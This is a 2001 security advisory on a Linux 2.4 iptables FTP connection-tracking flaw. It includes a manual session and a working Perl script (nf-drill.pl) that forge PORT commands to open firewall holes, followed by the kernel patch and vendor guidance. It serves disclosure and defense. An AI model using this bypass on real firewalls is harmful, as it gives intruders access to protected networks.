COMMAND

    IPTables

SYSTEMS AFFECTED

    Firewalls using Linux Kernel 2.4.x with IPTables

PROBLEM

    Cristiano  Lincoln  Mattos  found  following.   If an attacker can
    establish  an  FTP  connection  passing  through  a  Linux   2.4.x
    IPTables  firewall  with  the  state  options  allowing  "related"
    connections  (almost  100%  do),  he  can  insert entries into the
    firewall's  RELATED  ruleset  table  allowing  the  FTP  Server to
    connect to  any host  and port  protected by  the firewalls rules,
    including the firewall itself.

    Linux 2.4.x includes NetFilter, a raw framework for filtering  and
    mangling packets.  IPTables,  used for firewalling, is  set inside
    the NetFilter framework.  One of the new features in this  setting
    is connection  tracking, known  to some  as "stateful inspection".
    The four possible  states it can  mantain are:   ESTABLISHED, NEW,
    RELATED and INVALID.  We are interested here in the RELATED  state
    --  it  includes,  among  other  things, the FTP DATA connections,
    active (PORT command) and passive (PASV command).

    The  module  ip_conntrack_ftp  is  responsible  for  analysing FTP
    connections that pass through  the firewall, looking for  PORT and
    PASV commands, and including entries for those connections in  the
    firewall's connection  table.   There is  a security  flaw in  the
    manner in  which the  PORT command  is interpreted  and processed.
    Essentially, you  can pass  any IP/port  in an  FTP PORT commmand,
    and  the  module  will  not  validate  these parameters, adding an
    entry to  the RELATED  ruleset allowing  connections from  the FTP
    server, any source port, to the specified destination IP and port.
    In most cases, people make  stringent security rules and have  lax
    firewall  rules  regarding   RELATED  connections,  allowing   the
    attacker to connect to anywhere.

    This can be used,  for example, for the  FTP server to connect  to
    any TCP port on the firewall,  or any other node protected by  the
    firewall.  Even  though there may  be rules normally  denying this
    type of traffic,  it would pass  through the firewall,  because of
    the rule  allowing RELATED.   The attacker  does not  even need to
    have a  valid login  in the  FTP server,  as the  PORT command  is
    interpreted  by  the  module  independently  of any authentication
    procedures (USER and PASS).

    This is a  security flaw which  can be exploited  when an attacker
    is in  a position  behind your  firewall, i.e.,  "protected".  For
    example, if your firewall protects an FTP Server and the  attacker
    has compromised it by other means,  he can use this to connect  to
    other protected  networks.   Or, if  your attacker  is behind your
    firewall  as  a  client  and  connects  to  an  FTP  server on the
    Internet, he can  use it to  allow this FTP  server to connect  to
    other protected networks.

    Most firewall  setups using  IPTables include  the following rule,
    for allowing established and related connections through:

        iptables -A FORWARD -m state --state ESTABLISHED, RELATED -j ACCEPT

    The  "related"  state  includes  connections  such as the FTP data
    transfer connections, both active  and passive modes.   If related
    connections and  FTP are  allowed through  the firewall,  then the
    system is most likely vulnerable.

    The  attack  consists  in  connecting  to  the FTP server (passing
    through the firewall) and  using the PORT commands  with arbitrary
    IP  and  port  parameters  -  the  normal parameters should be the
    client's IP and a random port.

    To  explain  the  process  in  more  details,  we'll  outline  the
    following scenario:

        - Client IP: 200.249.243.12, an IP on the internet
        - Firewall:  200.249.137.1 (internet interface)
                     200.249.193.1 (DMZ interface)
        - FTP server:200.249.193.2 (inside a DMZ network, protected
                     by the firewall)

    In a normal ftp data transfer, the client would emit the following
    command to initiate an active data transfer:

        PORT 200,249,243,12,4,10

    Which  would  insert  an  entry  in  the  connection  table   (cat
    /proc/net/ip_conntrack), of the following form:

        EXPECTING: proto=6 src=200.249.193.2 dst=200.249.243.12 sport=0 dport=1034

    Allowing a  connection from  the FTP  server to  the client in the
    specified port.  Since  the module ip_conntrack_ftp doesn't  check
    the  passed  IP  and  ports,  an  attacker  can pass the following
    parameters:

        PORT 200,249,193,1,0,22

    Which  would  insert  an  entry  in  the  connection  table   (cat
    /proc/net/ip_conntrack), of the following form:

        EXPECTING: proto=6 src=200.249.193.2 dst=200.249.193.1 sport=0 dport=22

    Allowing a connection from the FTP server to the firewall, on port
    22, ie, the SSH port.   This will work by inserting the  rule into
    the RELATED ruleset,  which as shown  above is normally  too open.
    The rule can be inserted to any destination IP and port.

    Of course, the FTP server will probably not accept the command (if
    it has anti-bounce protection), saying "Illegal PORT command", but
    the  firewall  will  have  interpreted  the  commands and added an
    "expecting related"  entry as  described above  to its  connection
    table.  The attacker will  then have ten seconds to  establish the
    connection,  before  the  entry  expires  and  is removed from the
    connection table.

    It is not even  necessary to have logged  in the FTP server  since
    the module doesn't  check for valid  USER and PASS  commands.  All
    we have to do is trick the code into thinking we have  established
    a connection (IP_CT_ESTABLISHED+IP_CT_IS_REPLY).   To do that,  it
    is only  necessary to  send any  string to  the FTP  server, which
    should reply  with "invalid  command", and  then we  send the PORT
    command with  our parameters...  the FTP  server will  probably be
    complaining that  a login  has not  been established  yet, but the
    firewall will have done what we want it to:

        220 tsunami FTP server ready.
        xxxgarbagexxx
        530 Please login with USER and PASS.
        PORT 200,249,193,1,0,22
        530 Please login with USER and PASS.
        QUIT
        221 Goodbye.

    The  implications  should  be  obvious  --  we  outline  two  main
    scenarios of attack:
    * The FTP server is protected  by the firewall: in this case,  the
      client (attacker) would be on  the internet.  If the  FTP server
      is compromised by the  attacker using other means,  the attacker
      can insert rules allowing the FTP server to:
      - Connect to hosts on the internet, for downloading of  trojans,
        tools, reverse tunnels, etc;
      - Connect  to  the  firewall  itself  and exploit it from  there
        onwards;
      - Connect to other hosts on networks protected by the  firewall,
        such as an internal network, for example;
      - ... use your imagination :)
    * The  client (attacker)  is protected  by the  firewall: in  this
      case, the client would connect to an FTP server that he controls
      on  another  network  such  as  the  internet  (as  long  as the
      connection passes  through the  firewall).   The attacker  would
      insert rules allowing the FTP server that he controls to:
      - Connect  to  the  firewall  itself  and  attack it from  there
        onwards;
      - Connect to other hosts on networks protected by the  firewall,
        such as a DMZ or other networks for example;
      - ... again, use your imagination :)

    A few observations:
    - From tests, the  use of NAT (NAT  of the FTP server,  NAT of the
      client and NAT of the target) doesn't stop the attack in anyway.
      Of course, the attacker will only have to pay attention to which
      IP he is  connecting to, but  the entries are  inserted into the
      connection table anyway.
    - By  default,  the  ip_conntrack_ftp  module  only  analyses  FTP
      control  connections  on  port  21,  so  this would only work on
      connections  to  FTP  servers  binding  on  port  21.    Unless,
      obviously, the module were configured to listen on another  port
      as well.
    - This should not  need to be said,  but this attack bypasses  the
      firewall  rules  by  inserting  an  entry  into  the ruleset for
      RELATED connections -- for the  attack to work, there must  be a
      rule allowing the  client to connect  to an FTP  server (through
      the firewall)  in the  first place,  and the  rule allowing  the
      RELATED state  for the  specified connection.   This is  a  very
      common setting, as most firewalls allow their clients to perform
      FTP, and the too-open RELATED rule is also very common --  we've
      seen it an lots of IPTables FAQs, guides, lists, etc.

    Exploiting  this  flaw  is  so  simple  that  you can do it easily
    manually, with telnet.  Anyhow, here is a perl script to  automate
    the procedures:

    #!/usr/bin/perl
    #
    # nf-drill.pl --- "Drill" holes open in Linux iptables connection table
    # Author: Cristiano Lincoln Mattos <lincoln@cesar.org.br>, 2001
    #
    # Advisory: http://www.tempest.com.br/advisories/linux-iptables
    #
    #      Tempest Security Technologies - a business unit of:
    #    CESAR - Centro de Estudos e Sistemas Avancados do Recife
    #
    # This code is licensed under the GPL.
    #

    use Socket;
    use Getopt::Long;
    use strict;

    # Option variables
    my $server;
    my $serverport = 21;
    my $host;
    my $port;
    my $verbose = 0;

    # Print function
    sub out {
	    my ($level,$text) = @_;
	    if (!$level || ($level && $verbose)) { print "$text"; }
    }

    my $opt = GetOptions("server=s" => \$server,
		         "serverport=s" => \$serverport,
		         "host=s" => \$host,
		         "port=i" => \$port,
		         "verbose" => \$verbose);

    if ($server eq "" || $host eq "" || $port eq "" || $port < 0 || $port > 65535) {
	    print "Usage: $0 --server <ftp> [--serverport <port>] --host <target> --port <port> [--verbose]\n";
	    print "   - server: specifies the FTP server (IP or hostname) to connect to\n";
	    print "   - serverport: specifies the port of the FTP server -- default: 21\n";
	    print "   - host: the IP of the target to open in the connection table\n";
	    print "   - port: the port of the target to open in the connection table\n";
	    print "   - verbose: sets verbose mode\n";
	    exit(0);
    }

    print "\n nf-blast.pl -- Cristiano Lincoln Mattos <lincoln\@cesar.org.br>, 2001\n";
    print " Tempest Security Technologies\n\n";

    # For the meanwhile, expecting an IP
    my @ip = split(/\./,$host);
    my $str = "PORT " . $ip[0] . "," . $ip[1] . "," . $ip[2] . "," . $ip[3] . "," . ($port >> 8) . "," . ($port %
    256) . "\r\n";

    # Socket init
    my $ipn = inet_aton($server);
    if (!$ipn) {
	    out(0," Error: could not convert $server\n");
	    exit(0);
    }

    my $sin = sockaddr_in($serverport,$ipn);
    socket(Sock,PF_INET,SOCK_STREAM,6);

    if (!connect(Sock,$sin)) {
	    out(0," Error: could not connect to $server:$serverport.\n");
	    exit(0);
    }
    out(0," - Connected to $server:$serverport\n");

    my $buf;
    recv(Sock,$buf,120,0); chomp($buf);
    out(1," - RECV: $buf\n");

    # First send a dummy one, just to establish the connection in the iptables logic
    send(Sock,$str,0);
    out(1," - SEND: $str");
    recv(Sock,$buf,120,0); chomp($buf);
    out(1," - RECV: $buf\n");

    # Now, send the one that will insert itself into the connection table
    send(Sock,$str,0);
    out(1," - SEND: $str");
    recv(Sock,$buf,120,0); chomp($buf);
    out(1," - RECV: $buf\n");

    out(0," * $server should now be able to connect to $host on port $port ! (for the next 10 seconds)\n");
    out(0," - Closing connection to $server:$serverport.\n\n");
    close(Sock);

SOLUTION

    First  and  foremost,  you  should  tighten your firewall rules to
    limit the scope  of this vulnerability,  by only allowing  RELATED
    connections to  the hosts  that really  need them,  and not to all
    connections.   The NetFilter  core team  was notified  and quickly
    developed a patch.  It is available at:

        http://netfilter.samba.org/security-fix/
        http://netfilter.gnumonks.org/security-fix/
        http://netfilter.filewatcher.org/security-fix/

    Since it is small, it's included here:

    diff -urN linux-2.4.3.orig/net/ipv4/netfilter/ip_conntrack_ftp.c linux/net/ipv4/netfilter/ip_conntrack_ftp.c
    --- linux-2.4.3.orig/net/ipv4/netfilter/ip_conntrack_ftp.c	Fri Aug 11 05:35:15 2000
    +++ linux/net/ipv4/netfilter/ip_conntrack_ftp.c	Mon Apr 16 02:18:30 2001
    @@ -187,7 +187,12 @@
 	           (int)matchlen, data + matchoff,
 	           matchlen, ntohl(tcph->seq) + matchoff);

    -	/* Update the ftp info */
    +	/*
    +	 * Update the ftp info only if the source address matches the address specified
    +	 * in the PORT or PASV command.  Closes hole where packets could be dangerously
    +	 * marked as RELATED to bypass filtering rules. Thanks to Cristiano Lincoln
    +	 * Mattos <lincoln@cesar.org.br> for the report.
    +	 */
 	    LOCK_BH(&ip_ftp_lock);
 	    if (htonl((array[0] << 24) | (array[1] << 16) | (array[2] << 8) | array[3])
 	        == ct->tuplehash[dir].tuple.src.ip) {
    @@ -197,13 +202,8 @@
 		    info->ftptype = dir;
 		    info->port = array[4] << 8 | array[5];
 	    } else {
    -		/* Enrico Scholz's passive FTP to partially RNAT'd ftp
    -		   server: it really wants us to connect to a
    -		   different IP address.  Simply don't record it for
    -		   NAT. */
    -		DEBUGP("conntrack_ftp: NOT RECORDING: %u,%u,%u,%u != %u.%u.%u.%u\n",
    -		       array[0], array[1], array[2], array[3],
    -		       NIPQUAD(ct->tuplehash[dir].tuple.src.ip));
    +		UNLOCK_BH(&ip_ftp_lock);
    +		return NF_ACCEPT;
 	    }

 	    t = ((struct ip_conntrack_tuple)

    Red  Hat  Linux   7.1  uses  a   2.4  kernel  and   provides   the
    ip_conntrack_ftp  module  that  has  this  bug.   However, Red Hat
    Linux does not currently configure iptables (the default  firewall
    configuration  uses   ipchains  instead),   so  unless   you  have
    explicitly  configured   iptables  and   enabled  FTP    "RELATED"
    connections  through  the  firewall,  you  are  not  vulnerable to
    attack.

    Red Hat will be releasing a kernel with this and other bugs  fixed
    shortly.   In the  meantime, we  strongly recommend  that users of
    iptables not allow FTP "RELATED" connections.